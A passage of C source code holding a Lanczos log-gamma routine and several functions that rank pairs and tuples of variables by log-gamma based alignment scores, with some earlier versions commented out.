value = value + x1 * ((
r4[2] *
x2 + r4[1]) *
x2 + r4[0]) / ((
x2 + r4[4]) *
x2 + r4[3]);
}
}
return value;
}
/******************************************************************************/
double lngamma(double z)
/******************************************************************************/
/*
Purpose:
LNGAMMA computes Log(Gamma(X)) using a Lanczos approximation.
Discussion:
This algorithm is not part of the Applied Statistics algorithms.
It is slower but gives 14 or more significant decimal digits
accuracy, except around X = 1 and X = 2. The Lanczos series from
which this algorithm is derived is interesting in that it is a
convergent series approximation for the gamma function, whereas
the familiar series due to De Moivre (and usually wrongly called
the Stirling approximation) is only an asymptotic approximation, as
is the true and preferable approximation due to Stirling.
Licensing:
This code is distributed under the GNU LGPL license.
Modified:
20 November 2010
Author:
Original FORTRAN77 version by Alan Miller.
C version by John Burkardt.
Reference:
Cornelius Lanczos,
A precision approximation of the gamma function,
SIAM Journal on Numerical Analysis, B,
Volume 1, 1964, pages 86-96.
Parameters:
Input, double Z, the argument of the Gamma function.
Output, double LNGAMMA, the logarithm of the gamma function of Z.
*/
{
static double a[9] = {
0.9999999999995183,
676.5203681218835,
-1259.139216722289,
771.3234287757674,
-176.6150291498386,
12.50734324009056,
-0.1385710331296526,
0.9934937113930748E-05,
0.1659470187408462E-06 };
int j;
static double lnsqrt2pi = 0.9189385332046727;
double tmp;
double value;
if (z <= 0.0)
{
return INFINITY;
}
value = 0.0;
tmp = z + 7.0;
for (j = 8; 1 <= j; j--)
{
value = value + a[j] / tmp;
tmp = tmp - 1.0;
}
value = value + a[0];
value = log(value) + lnsqrt2pi - (z + 6.5)
+ (z - 0.5) * log(z + 6.5);
return value;
}
int listVarsArrayHistoriesAlignedTop_u(
int xmax, int omax, int n, int* svv, int m, int z1, int z2,
int* ppww, int* phh1, double* pxx1, int* phh2, double* pxx2,
int* tww1, int* tww2, double* ts1, double* ts2, int* ts3, int* s)
{
int t = 0;
#if __STDC_VERSION__ >= 199901L
double aa[xmax];
double* xx1[n];
double* xx2[n];
double zf = (double)z1;
double f = (double)z1 / (double)z2;
#else
double* aa;
double** xx1;
double** xx2;
double zf;
double f;
#endif
double t1;
double t2;
int t3;
int tm;
double x1;
double x2;
int x3;
double a1;
double a2;
double b1;
double b2;
int ii;
int ij;
int pi;
int pj;
int qi;
int qj;
int si;
int sj;
int u;
int i;
int j;
int k;
int a;
#if __STDC_VERSION__ >= 199901L
#else
aa = (double*)alloca(sizeof(double)*xmax);
xx1 = (double**)alloca(sizeof(double*)*n);
xx2 = (double**)alloca(sizeof(double*)*n);
zf = (double)z1;
f = (double)z1 / (double)z2;
#endif
*s = 0;
for (k = 1, a = svv[0], xx1[0] = pxx1, xx2[0] = pxx2; k<n; k++)
{
xx1[k] = pxx1 + a;
xx2[k] = pxx2 + a;
a += svv[k];
}
for (ii = 0; ii<m - 1; ii++)
{
pi = ppww[ii];
si = svv[pi];
for (ij = ii + 1; ij<m; ij++)
{
pj = ppww[ij];
sj = svv[pj];
u = si*sj;
if (u <= xmax)
{
(*s)++;
for (i = 0; i<u; i++)
aa[i] = 1.0;
qi = z1*pi;
qj = z1*pj;
for (j = 0; j<z1; j++)
aa[sj*phh1[qi + j] + phh1[qj + j]] += 1.0;
for (a1 = 0.0, i = 0; i<u; i++)
a1 += alngam(aa[i]);
for (i = 0; i<u; i++)
aa[i] = 1.0;
qi = z2*pi;
qj = z2*pj;
for (j = 0; j<z2; j++)
aa[sj*phh2[qi + j] + phh2[qj + j]] += f;
for (b1 = 0.0, i = 0; i<u; i++)
b1 += alngam(aa[i]);
for (a2 = 0.0, b2 = 0.0, i = 0; i<si; i++)
{
x1 = zf*xx1[pi][i];
x2 = zf*xx2[pi][i];
for (j = 0; j<sj; j++)
{
a2 += alngam(x1*xx1[pj][j] + 1.0);
b2 += alngam(x2*xx2[pj][j] + 1.0);
}
}
if (t<omax)
{
tww1[t] = pi;
tww2[t] = pj;
ts1[t] = a1 - a2 - b1 + b2;
ts2[t] = b2 - b1;
ts3[t] = -u;
t++;
if (t == omax)
{
for (t1 = ts1[0], t2 = ts2[0], t3 = ts3[0], tm = 0, i = 1; i<omax; i++)
{
x1 = ts1[i];
if (t1>x1)
{
t1 = x1;
t2 = ts2[i];
t3 = ts3[i];
tm = i;
}
else if (t1 == x1)
{
x2 = ts2[i];
if (t2>x2)
{
t2 = x2;
t3 = ts3[i];
tm = i;
}
else if (t2 == x2)
{
x3 = ts3[i];
if (t3>x3)
{
t3 = x3;
tm = i;
}
}
}
}
}
}
else
{
x1 = a1 - a2 - b1 + b2;
x2 = b2 - b1;
x3 = -u;
if (t1<x1 || (t1 == x1 && t2<x2) || (t1 == x1 && t2 == x2 && t3<x3))
{
tww1[tm] = pi;
tww2[tm] = pj;
ts1[tm] = x1;
ts2[tm] = x2;
ts3[tm] = x3;
for (t1 = ts1[0], t2 = ts2[0], t3 = ts3[0], tm = 0, i = 1; i<omax; i++)
{
x1 = ts1[i];
if (t1>x1)
{
t1 = x1;
t2 = ts2[i];
t3 = ts3[i];
tm = i;
}
else if (t1 == x1)
{
x2 = ts2[i];
if (t2>x2)
{
t2 = x2;
t3 = ts3[i];
tm = i;
}
else if (t2 == x2)
{
x3 = ts3[i];
if (t3>x3)
{
t3 = x3;
tm = i;
}
}
}
}
}
}
}
}
}
return t;
}
/*
int listVarsArrayHistoriesAlignedTop_u_1(
int xmax, int omax, int n, int* svv, int m, int z1, int z2,
int* ppww, int* phh1, double* pxx1, int* phh2, double* pxx2, int* tww1, int* tww2)
{
int t = 0;
double aa[xmax];
double* xx1[n];
double* xx2[n];
double zf = (double)z1;
double f = (double)z1 / (double)z2;
double ts1[omax];
double ts2[omax];
int ts3[omax];
double t1;
double t2;
int t3;
int tm;
double x1;
double x2;
int x3;
double a1;
double a2;
double b1;
double b2;
int ii;
int ij;
int pi;
int pj;
int qi;
int qj;
int si;
int sj;
int u;
int i;
int j;
int k;
int a;
for (k = 1, a = svv[0], xx1[0] = pxx1, xx2[0] = pxx2; k<n; k++)
{
xx1[k] = pxx1 + a;
xx2[k] = pxx2 + a;
a += svv[k];
}
for (ii = 0; ii<m - 1; ii++)
{
pi = ppww[ii];
si = svv[pi];
for (ij = ii + 1; ij<m; ij++)
{
pj = ppww[ij];
sj = svv[pj];
u = si*sj;
if (u <= xmax)
{
for (i = 0; i<u; i++)
aa[i] = 1.0;
qi = z1*pi;
qj = z1*pj;
for (j = 0; j<z1; j++)
aa[sj*phh1[qi + j] + phh1[qj + j]] += 1.0;
for (a1 = 0.0, i = 0; i<u; i++)
a1 += alngam(aa[i]);
for (i = 0; i<u; i++)
aa[i] = 1.0;
qi = z2*pi;
qj = z2*pj;
for (j = 0; j<z2; j++)
aa[sj*phh2[qi + j] + phh2[qj + j]] += f;
for (b1 = 0.0, i = 0; i<u; i++)
b1 += alngam(aa[i]);
for (a2 = 0.0, b2 = 0.0, i = 0; i<si; i++)
{
x1 = zf*xx1[pi][i];
x2 = zf*xx2[pi][i];
for (j = 0; j<sj; j++)
{
a2 += alngam(x1*xx1[pj][j] + 1.0);
b2 += alngam(x2*xx2[pj][j] + 1.0);
}
}
if (t<omax)
{
tww1[t] = pi;
tww2[t] = pj;
ts1[t] = a1 - a2 - b1 + b2;
ts2[t] = b2 - b1;
ts3[t] = -u;
t++;
if (t == omax)
{
for (t1 = ts1[0], t2 = ts2[0], t3 = ts3[0], tm = 0, i = 1; i<omax; i++)
{
x1 = ts1[i];
if (t1>x1)
{
t1 = x1;
t2 = ts2[i];
t3 = ts3[i];
tm = i;
}
else if (t1 == x1)
{
x2 = ts2[i];
if (t2>x2)
{
t2 = x2;
t3 = ts3[i];
tm = i;
}
else if (t2 == x2)
{
x3 = ts3[i];
if (t3>x3)
{
t3 = x3;
tm = i;
}
}
}
}
}
}
else
{
x1 = a1 - a2 - b1 + b2;
x2 = b2 - b1;
x3 = -u;
if (t1<x1 || (t1 == x1 && t2<x2) || (t1 == x1 && t2 == x2 && t3<x3))
{
tww1[tm] = pi;
tww2[tm] = pj;
ts1[tm] = x1;
ts2[tm] = x2;
ts3[tm] = x3;
for (t1 = ts1[0], t2 = ts2[0], t3 = ts3[0], tm = 0, i = 1; i<omax; i++)
{
x1 = ts1[i];
if (t1>x1)
{
t1 = x1;
t2 = ts2[i];
t3 = ts3[i];
tm = i;
}
else if (t1 == x1)
{
x2 = ts2[i];
if (t2>x2)
{
t2 = x2;
t3 = ts3[i];
tm = i;
}
else if (t2 == x2)
{
x3 = ts3[i];
if (t3>x3)
{
t3 = x3;
tm = i;
}
}
}
}
}
}
}
}
}
return t;
}
*/
inline int isdup(int e, int pi, int* pj, int qi, int* qj)
{
int ok = 1;
int i;
int j;
int pk;
if (pi != qi)
{
for (i = 0, ok = 0; i<e; i++)
if (pi == qj[i])
{
ok = 1;
break;
}
}
for (i = 0; ok && i<e; i++)
{
pk = pj[i];
if (pk != qi)
{
for (j = 0, ok = 0; j<e; j++)
if (pk == qj[j])
{
ok = 1;
break;
}
}
}
return ok;
}
inline int hash(int n, int e, int pi, int* pj)
{
int h;
int i;
int j;
int mk;
int pk;
int pl;
for (i = -1, h = 0, mk = -1, pk = n; i<e; i++, mk = pk, pk = n)
{
if (mk<pi)
pk = pi;
for (j = 0; j<e; j++)
{
pl = pj[j];
if (mk<pl && pl<pk)
pk = pl;
}
h = n*h + pk;
}
return h;
}
int listVarsListTuplesArrayHistoriesAlignedTop_u(
int dense,
int xmax, int omax, int n, int* svv, int m, int d, int e,
int z1, int z2,
int* ppww, int* ppdd,
int* phh1, double* pxx1, int* phh2, double* pxx2,
int* tww1, int* tww2, double* ts1, double* ts2, int* ts3, int* s)
{
int t = 0;
int findm = 0;
#if __STDC_VERSION__ >= 199901L
int* pdd[d];
double aa[xmax];
double* xx1[n];
double* xx2[n];
int ts4[omax];
double zf = (double)z1;
double f = (double)z1 / (double)z2;
#else
int** pdd;
double* aa;
double** xx1;
double** xx2;
int* ts4;
double zf;
double f;
#endif
double t1;
double t2;
int t3;
int tm;
double x1;
double x2;
double y1;
double y2;
int x3;
int x4;
double c;
double a1;
double a2;
double b1;
double b2;
int ii;
int ij;
int pi;
int* pj;
int pk;
int qi;
#if __STDC_VERSION__ >= 199901L
int qj[e];
#else
int* qj;
#endif
int qk;
int si;
#if __STDC_VERSION__ >= 199901L
int sj[e];
int yj[e];
#else
int* sj;
int* yj;
#endif
int sk;
int yk;
int u;
int u1;
int i;
int j;
int k;
int a;
int ok;
#if __STDC_VERSION__ >= 199901L
#else
pdd = (int**)alloca(sizeof(int*)*d);
aa = (double*)alloca(sizeof(double)*xmax);
xx1 = (double**)alloca(sizeof(double*)*n);
xx2 = (double**)alloca(sizeof(double*)*n);
ts4 = (int*)alloca(sizeof(int)*omax);
zf = (double)z1;
f = (double)z1 / (double)z2;
qj = (int*)alloca(sizeof(int)*e);
sj = (int*)alloca(sizeof(int)*e);
yj = (int*)alloca(sizeof(int)*e);
#endif
*s = 0;
for (k = 1, a = svv[0], xx1[0] = pxx1, xx2[0] = pxx2; k<n; k++)
{
xx1[k] = pxx1 + a;
xx2[k] = pxx2 + a;
a += svv[k];
}
for (k = 0; k<d; k++)
pdd[k] = ppdd + e*k;
for (ii = 0; ii<m; ii++)
{
pi = ppww[ii];
si = svv[pi];
for (ij = 0; ij<d; ij++)
{
pj = pdd[ij];
for (k = 0, ok = 1, u1 = 1; k<e; k++)
{
pk = pj[k];
if (pk == pi)
{
ok = 0;
break;
}
sk = svv[pk];
sj[k] = sk;
u1 *= sk;
}
u = u1*si;
if (ok && u <= xmax)
{
(*s)++;
x4 = hash(n, e, pi, pj);
for (i = 0; i<t; i++)
if (ts4[i] == x4 && isdup(e, pi, pj, ppww[tww1[i]], pdd[tww2[i]]))
{
ok = 0;
break;
}
if (!ok)
continue;
for (i = 0; i<u; i++)
aa[i] = 1.0;
pk = pj[0];
sk = sj[0];
qi = z1*pi;
qk = z1*pk;
for (k = 1; k<e; k++)
qj[k] = z1*pj[k];
for (j = 0; j<z1; j++)
{
for (k = 1, a = sk*phh1[qi + j] + phh1[qk + j]; k<e; k++)
a = sj[k] * a + phh1[qj[k] + j];
aa[a] += 1.0;
}
for (a1 = 0.0, i = 0; i<u; i++)
a1 += alngam(aa[i]);
for (i = 0; i<u; i++)
aa[i] = 1.0;
qi = z2*pi;
qk = z2*pk;
for (k = 1; k<e; k++)
qj[k] = z2*pj[k];
for (j = 0; j<z2; j++)
{
for (k = 1, a = sk*phh2[qi + j] + phh2[qk + j]; k<e; k++)
a = sj[k] * a + phh2[qj[k] + j];
aa[a] += f;
}
for (b1 = 0.0, i = 0; i<u; i++)
b1 += alngam(aa[i]);
for (k = 0; k<e; k++)
yj[k] = 0;
for (a2 = 0.0, b2 = 0.0, i = 0; i<si; i++)
{
y1 = zf*xx1[pi][i];
y2 = zf*xx2[pi][i];
for (j = 0; j<u1; j++)
{
x1 = y1;
x2 = y2;
for (k = 0; k<e; k++)
{
pk = pj[k];
yk = yj[k];
x1 *= xx1[pk][yk];
x2 *= xx2[pk][yk];
}
a2 += alngam(x1 + 1.0);
b2 += alngam(x2 + 1.0);
incIndex(e, sj, yj);
}
}
if (t<omax)
{
if (dense)
{
c = pow((double)u, 1.0 / ((double)(e + 1)));
x1 = (a1 - a2 - b1 + b2) / c;
x2 = (b2 - b1) / c;
}
else
{
x1 = a1 - a2 - b1 + b2;
x2 = b2 - b1;
}
x3 = -u;
tww1[t] = ii;
tww2[t] = ij;
ts1[t] = x1;
ts2[t] = x2;
ts3[t] = x3;
ts4[t] = x4;
t++;
if (t == omax)
findm = 1;
}
else
{
if (dense)
{
c = pow((double)u, 1.0 / ((double)(e + 1)));
x1 = (a1 - a2 - b1 + b2) / c;
x2 = (b2 - b1) / c;
}
else
{
x1 = a1 - a2 - b1 + b2;
x2 = b2 - b1;
}
x3 = -u;
if (t1<x1 || (t1 == x1 && t2<x2) || (t1 == x1 && t2 == x2 && t3<x3))
{
tww1[tm] = ii;
tww2[tm] = ij;
ts1[tm] = x1;
ts2[tm] = x2;
ts3[tm] = x3;
ts4[tm] = x4;
findm = 1;
}
}
if (findm)
{
for (t1 = ts1[0], t2 = ts2[0], t3 = ts3[0], tm = 0, i = 1; i<omax; i++)
{
x1 = ts1[i];
if (t1>x1)
{
t1 = x1;
t2 = ts2[i];
t3 = ts3[i];
tm = i;
}
else if (t1 == x1)
{
x2 = ts2[i];
if (t2>x2)
{
t2 = x2;
t3 = ts3[i];
tm = i;
}
else if (t2 == x2)
{
x3 = ts3[i];
if (t3>x3)
{
t3 = x3;
tm = i;
}
}
}
}
findm = 0;
}
}
}
}
return t;
}
/*
#define ROUND 0.001
int listVarsListTuplesArrayHistoriesAlignedTop_u_1(
int xmax, int omax, int n, int* svv, int m, int d, int e,
int z1, int z2,
int* ppww, int* ppdd,
int* phh1, double* pxx1, int* phh2, double* pxx2,
int* tww1, int* tww2, double* ts1, double* ts2, int* ts3, int* s)
{
int t = 0;
int findm = 0;
int* pdd[d];
double aa[xmax];
double* xx1[n];
double* xx2[n];
double zf = (double)z1;
double f = (double)z1 / (double)z2;
double t1;
double t2;
int t3;
int tm;
double x1;
double x2;
double y1;
double y2;
int x3;
double a1;
double a2;
double b1;
double b2;
int ii;
int ij;
int pi;
int* pj;
int pk;
int qi;
int qj[e];
int qk;
int si;
int sj[e];
int yj[e];
int sk;
int yk;
int u;
int u1;
int i;
int j;
int k;
int a;
int ok;
for (k = 1, a = svv[0], xx1[0] = pxx1, xx2[0] = pxx2; k<n; k++)
{
xx1[k] = pxx1 + a;
xx2[k] = pxx2 + a;
a += svv[k];
}
for (k = 0; k<d; k++)
pdd[k] = ppdd + e*k;
for (ii = 0; ii<m; ii++)
{
pi = ppww[ii];
si = svv[pi];
for (ij = 0; ij<d; ij++)
{
pj = pdd[ij];
for (k = 0, ok = 1, u1 = 1; k<e; k++)
{
pk = pj[k];
if (pk == pi)
{
ok = 0;
break;
}
sk = svv[pk];
sj[k] = sk;
u1 *= sk;
}
u = u1*si;
if (ok && u <= xmax)
{
(*s)++;
for (i = 0; i<u; i++)
aa[i] = 1.0;
pk = pj[0];
sk = sj[0];
qi = z1*pi;
qk = z1*pk;
for (k = 1; k<e; k++)
qj[k] = z1*pj[k];
for (j = 0; j<z1; j++)
{
for (k = 1, a = sk*phh1[qi + j] + phh1[qk + j]; k<e; k++)
a = sj[k] * a + phh1[qj[k] + j];
aa[a] += 1.0;
}
for (a1 = 0.0, i = 0; i<u; i++)
a1 += alngam(aa[i]);
for (i = 0; i<u; i++)
aa[i] = 1.0;
qi = z2*pi;
qk = z2*pk;
for (k = 1; k<e; k++)
qj[k] = z2*pj[k];
for (j = 0; j<z2; j++)
{
for (k = 1, a = sk*phh2[qi + j] + phh2[qk + j]; k<e; k++)
a = sj[k] * a + phh2[qj[k] + j];
aa[a] += f;
}
for (b1 = 0.0, i = 0; i<u; i++)
b1 += alngam(aa[i]);
for (k = 0; k<e; k++)
yj[k] = 0;
for (a2 = 0.0, b2 = 0.0, i = 0; i<si; i++)
{
y1 = zf*xx1[pi][i];
y2 = zf*xx2[pi][i];
for (j = 0; j<u1; j++)
{
x1 = y1;
x2 = y2;
for (k = 0; k<e; k++)
{
pk = pj[k];
yk = yj[k];
x1 *= xx1[pk][yk];
x2 *= xx2[pk][yk];
}
a2 += alngam(x1 + 1.0);
b2 += alngam(x2 + 1.0);
incIndex(e, sj, yj);
}
}
if (t<omax)
{
x1 = a1 - a2 - b1 + b2;
x2 = b2 - b1;
x3 = -u;
for (i = 0, ok = 1; i<t; i++)
if (ts1[i]<x1 + ROUND && ts1[i]>x1 - ROUND &&
ts2[i]<x2 + ROUND && ts2[i]>x2 - ROUND &&
ts3[i] == x3 && isdup(e, pi, pj, ppww[tww1[i]], pdd[tww2[i]]))
{
ok = 0;
break;
}
if (!ok)
continue;
tww1[t] = ii;
tww2[t] = ij;
ts1[t] = x1;
ts2[t] = x2;
ts3[t] = x3;
t++;
if (t == omax)
findm = 1;
}
else
{
x1 = a1 - a2 - b1 + b2;
x2 = b2 - b1;
x3 = -u;
if (t1<x1 || (t1 == x1 && t2<x2) || (t1 == x1 && t2 == x2 && t3<x3))
{
for (i = 0, ok = 1; i<t; i++)
if (ts1[i]<x1 + ROUND && ts1[i]>x1 - ROUND &&
ts2[i]<x2 + ROUND && ts2[i]>x2 - ROUND &&
ts3[i] == x3 && isdup(e, pi, pj, ppww[tww1[i]], pdd[tww2[i]]))
{
ok = 0;
break;
}
if (!ok)
continue;
tww1[tm] = ii;
tww2[tm] = ij;
ts1[tm] = x1;
ts2[tm] = x2;
ts3[tm] = x3;
findm = 1;
}
}
if (findm)
{
for (t1 = ts1[0], t2 = ts2[0], t3 = ts3[0], tm = 0, i = 1; i<omax; i++)
{
x1 = ts1[i];
if (t1>x1)
{
t1 = x1;
t2 = ts2[i];
t3 = ts3[i];
tm = i;
}
else if (t1 == x1)
{
x2 = ts2[i];
if (t2>x2)
{
t2 = x2;
t3 = ts3[i];
tm = i;
}
else if (t2 == x2)
{
x3 = ts3[i];
if (t3>x3)
{
t3 = x3;
tm = i;
}
}
}
}
findm = 0;
}
}
}
}
return t;
}
int listVarsListTuplesArrayHistoriesAlignedTop_u_2(
int dense,
int xmax, int omax, int n, int* svv, int m, int d, int e,
int z1, int z2,
int* ppww, int* ppdd,
int* phh1, double* pxx1, int* phh2, double* pxx2,
int* tww1, int* tww2, double* ts1, double* ts2, int* ts3, int* s)
{
int t = 0;
int findm = 0;
int* pdd[d];
double aa[xmax];
double* xx1[n];
double* xx2[n];
double zf = (double)z1;
double f = (double)z1 / (double)z2;
double t1;
double t2;
int t3;
int tm;
double x1;
double x2;
double y1;
double y2;
int x3;
double c;
double a1;
double a2;
double b1;
double b2;
int ii;
int ij;
int pi;
int* pj;
int pk;
int qi;
int qj[e];
int qk;
int si;
int sj[e];
int yj[e];
int sk;
int yk;
int u;
int u1;
int i;
int j;
int k;
int a;
int ok;
for (k = 1, a = svv[0], xx1[0] = pxx1, xx2[0] = pxx2; k<n; k++)
{
xx1[k] = pxx1 + a;
xx2[k] = pxx2 + a;
a += svv[k];
}
for (k = 0; k<d; k++)
pdd[k] = ppdd + e*k;
for (ii = 0; ii<m; ii++)
{
pi = ppww[ii];
si = svv[pi];
for (ij = 0; ij<d; ij++)
{
pj = pdd[ij];
for (k = 0, ok = 1, u1 = 1; k<e; k++)
{
pk = pj[k];
if (pk == pi)
{
ok = 0;
break;
}
sk = svv[pk];
sj[k] = sk;
u1 *= sk;
}
u = u1*si;
if (ok && u <= xmax)
{
(*s)++;
for (i = 0; i<u; i++)
aa[i] = 1.0;
pk = pj[0];
sk = sj[0];
qi = z1*pi;
qk = z1*pk;
for (k = 1; k<e; k++)
qj[k] = z1*pj[k];
for (j = 0; j<z1; j++)
{
for (k = 1, a = sk*phh1[qi + j] + phh1[qk + j]; k<e; k++)
a = sj[k] * a + phh1[qj[k] + j];
aa[a] += 1.0;
}
for (a1 = 0.0, i = 0; i<u; i++)
a1 += alngam(aa[i]);
for (i = 0; i<u; i++)
aa[i] = 1.0;
qi = z2*pi;
qk = z2*pk;
for (k = 1; k<e; k++)
qj[k] = z2*pj[k];
for (j = 0; j<z2; j++)
{
for (k = 1, a = sk*phh2[qi + j] + phh2[qk + j]; k<e; k++)
a = sj[k] * a + phh2[qj[k] + j];
aa[a] += f;
}
for (b1 = 0.0, i = 0; i<u; i++)
b1 += alngam(aa[i]);
for (k = 0; k<e; k++)
yj[k] = 0;
for (a2 = 0.0, b2 = 0.0, i = 0; i<si; i++)
{
y1 = zf*xx1[pi][i];
y2 = zf*xx2[pi][i];
for (j = 0; j<u1; j++)
{
x1 = y1;
x2 = y2;
for (k = 0; k<e; k++)
{
pk = pj[k];
yk = yj[k];
x1 *= xx1[pk][yk];
x2 *= xx2[pk][yk];
}
a2 += alngam(x1 + 1.0);
b2 += alngam(x2 + 1.0);
incIndex(e, sj, yj);
}
}
if (t<omax)
{
if (dense)
{
c = pow((double)u, 1.0 / ((double)(e + 1)));
x1 = (a1 - a2 - b1 + b2) / c;
x2 = (b2 - b1) / c;
}
else
{
x1 = a1 - a2 - b1 + b2;
x2 = b2 - b1;
}
x3 = -u;
for (i = 0, ok = 1; i<t; i++)
if (ts1[i]<x1 + ROUND && ts1[i]>x1 - ROUND &&
ts2[i]<x2 + ROUND && ts2[i]>x2 - ROUND &&
ts3[i] == x3 && isdup(e, pi, pj, ppww[tww1[i]], pdd[tww2[i]]))
{
ok = 0;
break;
}
if (!ok)
continue;
tww1[t] = ii;
tww2[t] = ij;
ts1[t] = x1;
ts2[t] = x2;
ts3[t] = x3;
t++;
if (t == omax)
findm = 1;
}
else
{
if (dense)
{
c = pow((double)u, 1.0 / ((double)(e + 1)));
x1 = (a1 - a2 - b1 + b2) / c;
x2 = (b2 - b1) / c;
}
else
{
x1 = a1 - a2 - b1 + b2;
x2 = b2 - b1;
}
x3 = -u;
if (t1<x1 || (t1 == x1 && t2<x2) || (t1 == x1 && t2 == x2 && t3<x3))
{
for (i = 0, ok = 1; i<t; i++)
if (ts1[i]<x1 + ROUND && ts1[i]>x1 - ROUND &&
ts2[i]<x2 + ROUND && ts2[i]>x2 - ROUND &&
ts3[i] == x3 && isdup(e, pi, pj, ppww[tww1[i]], pdd[tww2[i]]))
{
ok = 0;
break;
}
if (!ok)
continue;
tww1[tm] = ii;
tww2[tm] = ij;
ts1[tm] = x1;
ts2[tm] = x2;
ts3[tm] = x3;
findm = 1;
}
}
if (findm)
{
for (t1 = ts1[0], t2 = ts2[0], t3 = ts3[0], tm = 0, i = 1; i<omax; i++)
{
x1 = ts1[i];
if (t1>x1)
{
t1 = x1;
t2 = ts2[i];
t3 = ts3[i];
tm = i;
}
else if (t1 == x1)
{
x2 = ts2[i];
if (t2>x2)
{
t2 = x2;
t3 = ts3[i];
tm = i;
}
else if (t2 == x2)
{
x3 = ts3[i];
if (t3>x3)
{
t3 = x3;
tm = i;
}
}
}
}
findm = 0;
}
}
}
}
return t;
}
*/
int listVarsListTuplesArrayHistoriesAlignedExcludeHiddenTop_u(
int dense,
int xmax, int omax, int n, int* svv, int m, int d, int e,
int z1, int z2,
int ccl, int* ppccd, int* ppccu,
int* ppww, int* ppdd,
int* phh1, double* pxx1, int* phh2, double* pxx2,
int* tww1, int* tww2, double* ts1, double* ts2, int* ts3, int* s)
{
int t = 0;
int findm = 0;
#if __STDC_VERSION__ >= 199901L
int* pdd[d];
double aa[xmax];
double* xx1[n];
double* xx2[n];
int ppccx[ccl];
int ccx;
int ts4[omax];
double zf = (double)z1;
double f = (double)z1 / (double)z2;
#else
int** pdd;
double* aa;
double** xx1;
double** xx2;
int* ppccx;
int ccx;
int* ts4;
double zf;
double f;
#endif
double t1;
double t2;
int t3;
int tm;
double x1;
double x2;
double y1;
double y2;
int x3;
int x4;
double c;
double a1;
double a2;
double b1;
double b2;
int ii;
int ij;
int pi;
int* pj;
int pk;
int qi;
#if __STDC_VERSION__ >= 199901L
int qj[e];
#else
int* qj;
#endif
int qk;
int si;
#if __STDC_VERSION__ >= 199901L
int sj[e];
int yj[e];
#else
int* sj;
int* yj;
#endif
int sk;
int yk;
int u;
int u1;
int i;
int j;
int k;
int h;
int a;
int ok;
#if __STDC_VERSION__ >= 199901L
#else
pdd = (int**)alloca(sizeof(int*)*d);
aa = (double*)alloca(sizeof(double)*xmax);
xx1 = (double**)alloca(sizeof(double*)*n);
xx2 = (double**)alloca(sizeof(double*)*n);
ppccx = (int*)alloca(sizeof(int)*ccl);
ts4 = (int*)alloca(sizeof(int)*omax);
zf = (double)z1;
f = (double)z1 / (double)z2;
qj = (int*)alloca(sizeof(int)*e);
sj = (int*)alloca(sizeof(int)*e);
yj = (int*)alloca(sizeof(int)*e);
#endif
*s = 0;
for (k = 1, a = svv[0], xx1[0] = pxx1, xx2[0] = pxx2; k<n; k++)
{
xx1[k] = pxx1 + a;
xx2[k] = pxx2 + a;
a += svv[k];
}
for (k = 0; k<d; k++)
pdd[k] = ppdd + e*k;
for (ii = 0; ii<m; ii++)
{
pi = ppww[ii];
si = svv[pi];
for (ccx = 0, h = 0; h < ccl; h++)
if (ppccu[h] == pi)
{
ppccx[ccx] = ppccd[h];
ccx++;
}
else if (ppccd[h] == pi)
{
ppccx[ccx] = ppccu[h];
ccx++;
}
for (ij = 0; ij<d; ij++)
{
pj = pdd[ij];
for (k = 0, ok = 1, u1 = 1; k<e; k++)
{
pk = pj[k];
if (pk == pi)
ok = 0;
for (h = 0; h<ccx; h++)
if (pk == ppccx[h])
ok = 0;
if (!ok)
break;
sk = svv[pk];
sj[k] = sk;
u1 *= sk;
}
u = u1*si;
if (ok && u <= xmax)
{
(*s)++;
x4 = hash(n, e, pi, pj);
for (i = 0; i<t; i++)
if (ts4[i] == x4 && isdup(e, pi, pj, ppww[tww1[i]], pdd[tww2[i]]))
{
ok = 0;
break;
}
if (!ok)
continue;
for (i = 0; i<u; i++)
aa[i] = 1.0;
pk = pj[0];
sk = sj[0];
qi = z1*pi;
qk = z1*pk;
for (k = 1; k<e; k++)
qj[k] = z1*pj[k];
for (j = 0; j<z1; j++)
{
for (k = 1, a = sk*phh1[qi + j] + phh1[qk + j]; k<e; k++)
a = sj[k] * a + phh1[qj[k] + j];
aa[a] += 1.0;
}
for (a1 = 0.0, i = 0; i<u; i++)
a1 += alngam(aa[i]);
for (i = 0; i<u; i++)
aa[i] = 1.0;
qi = z2*pi;
qk = z2*pk;
for (k = 1; k<e; k++)
qj[k] = z2*pj[k];
for (j = 0; j<z2; j++)
{
for (k = 1, a = sk*phh2[qi + j] + phh2[qk + j]; k<e; k++)
a = sj[k] * a + phh2[qj[k] + j];
aa[a] += f;
}
for (b1 = 0.0, i = 0; i<u; i++)
b1 += alngam(aa[i]);
for (k = 0; k<e; k++)
yj[k] = 0;
for (a2 = 0.0, b2 = 0.0, i = 0; i<si; i++)
{
y1 = zf*xx1[pi][i];
y2 = zf*xx2[pi][i];
for (j = 0; j<u1; j++)
{
x1 = y1;
x2 = y2;
for (k = 0; k<e; k++)
{
pk = pj[k];
yk = yj[k];
x1 *= xx1[pk][yk];
x2 *= xx2[pk][yk];
}
a2 += alngam(x1 + 1.0);
b2 += alngam(x2 + 1.0);
incIndex(e, sj, yj);
}
}
if (t<omax)
{
if (dense)
{
c = pow((double)u, 1.0 / ((double)(e + 1)));
x1 = (a1 - a2 - b1 + b2) / c;
x2 = (b2 - b1) / c;
}
else
{
x1 = a1 - a2 - b1 + b2;
x2 = b2 - b1;
}
x3 = -u;
tww1[t] = ii;
tww2[t] = ij;
ts1[t] = x1;
ts2[t] = x2;
ts3[t] = x3;
ts4[t] = x4;
t++;
if (t == omax)
findm = 1;
}
else
{
if (dense)
{
c = pow((double)u, 1.0 / ((double)(e + 1)));
x1 = (a1 - a2 - b1 + b2) / c;
x2 = (b2 - b1) / c;
}
else
{
x1 = a1 - a2 - b1 + b2;
x2 = b2 - b1;
}
x3 = -u;
if (t1<x1 || (t1 == x1 && t2<x2) || (t1 == x1 && t2 == x2 && t3<x3))
{
tww1[tm] = ii;
tww2[tm] = ij;
ts1[tm] = x1;
ts2[tm] = x2;
ts3[tm] = x3;
ts4[tm] = x4;
findm = 1;
}
}
if (findm)
{
for (t1 = ts1[0], t2 = ts2[0], t3 = ts3[0], tm = 0, i = 1; i<omax; i++)
{
x1 = ts1[i];
if (t1>x1)
{
t1 = x1;
t2 = ts2[i];
t3 = ts3[i];
tm = i;
}
else if (t1 == x1)
{
x2 = ts2[i];
if (t2>x2)
{
t2 = x2;
t3 = ts3[i];
tm = i;
}
else if (t2 == x2)
{
x3 = ts3[i];
if (t3>x3)
{
t3 = x3;
tm = i;
}
}
}
}
findm = 0;
}
}
}
}
return t;
}
